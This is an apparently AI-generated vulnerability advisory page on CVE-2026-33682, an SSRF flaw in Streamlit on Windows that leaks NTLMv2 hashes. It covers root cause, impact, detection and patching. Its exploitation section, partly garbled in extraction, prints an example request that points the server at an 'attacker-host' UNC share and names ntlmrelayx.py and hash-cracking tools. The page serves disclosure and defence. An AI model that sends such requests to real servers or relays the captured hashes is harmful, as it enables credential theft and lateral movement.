
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-33682 is an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in Streamlit Open Source affecting all versions prior to 1.54.0 running on Windows hosts. The flaw allows remote attackers to coerce the Streamlit server into initiating outbound SMB connections, potentially exposing NTLMv2 credential hashes of the Windows user running the process. It was reported through Snowflake's responsible disclosure program, published on March 24, 2026, and patched in version 1.54.0. The CVSS v3.1 score is 4.7 (Moderate) per the GitHub Advisory, with an adjacent attack vector and high attack complexity (GitHub Advisory, Streamlit Security Advisory).
The root cause is improper validation of attacker-supplied filesystem paths (CWE-918: Server-Side Request Forgery). In affected code paths — including ComponentRequestHandler, AppStaticFileHandler, and BidiComponentRequestHandler — filesystem paths were resolved using os.path.realpath() or Path.resolve() before any security validation occurred. On Windows, this allows an attacker to supply a malicious UNC path (e.g., \\attacker-controlled-host\share) in the URI, causing Windows to automatically initiate an outbound SMB authentication attempt to the attacker's server over port 445. The fix introduced a centralized path_security.py module with an is_unsafe_path_pattern() function and a new PathSecurityMiddleware (Starlette) that validates paths before any filesystem operations, blocking UNC paths, absolute paths, path traversal sequences (..), null bytes, and Windows drive-letter paths (GitHub Commit, GitHub Advisory).
Successful exploitation causes the Windows host running Streamlit to transmit NTLMv2 challenge-response credential hashes for the service account to an attacker-controlled SMB server. These hashes can be used in NTLM relay attacks against other internal services (e.g., file shares, internal web applications supporting NTLM), enabling lateral movement within the network. Additionally, captured hashes may be subjected to offline brute-force attacks to recover plaintext passwords, particularly for accounts with weak credentials. Availability is not directly impacted, but the confidentiality and integrity risks are significant in environments that have not hardened NTLM usage (Streamlit Security Advisory, GitHub Advisory).
No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is unauthenticated and requires no user interaction, but exploitation requires adjacent network access and high attack complexity (the attacker must control an SMB server reachable from the target). The EPSS score is approximately 0.011–0.015%, indicating a low near-term exploitation probability. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
ntlmrelayx.py) on an attacker-controlled host reachable from the Streamlit server.GET /component/\\attacker-host\share/malicious HTTP/1.1
Host: <streamlit-server>:<port>os.path.realpath() or Path.resolve(), causing Windows to automatically initiate an SMB connection to the attacker's server and transmit NTLMv2 challenge-response credentials.ntlmrelayx.py), or attempt offline password cracking using tools like Hashcat or John the Ripper (Streamlit Security Advisory, GitHub Commit).\\, //) or unusual path segments in the URI; Windows Security Event Log entries (Event ID 4624/4625) showing NTLM authentication attempts to remote hosts initiated by the Streamlit service account.python.exe) initiating outbound connections to port 445 on non-standard internal or external hosts.The primary remediation is to upgrade Streamlit Open Source to version 1.54.0 or later, which introduces centralized path validation that blocks UNC paths before any filesystem operations (Streamlit Release 1.54.0, GitHub Advisory). For organizations unable to upgrade immediately, the following mitigations reduce risk:
Note: This vulnerability affects only Windows deployments; Linux and macOS hosts are not impacted.
The vulnerability was disclosed through Snowflake's responsible disclosure program and published via the GitHub Advisory Database on March 24–25, 2026. The advisory notes that Microsoft has publicly discouraged continued use of NTLM in favor of Kerberos and is progressing toward disabling NTLM by default in future Windows releases, contextualizing the risk within broader industry authentication hardening trends (Streamlit Security Advisory). No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability database aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."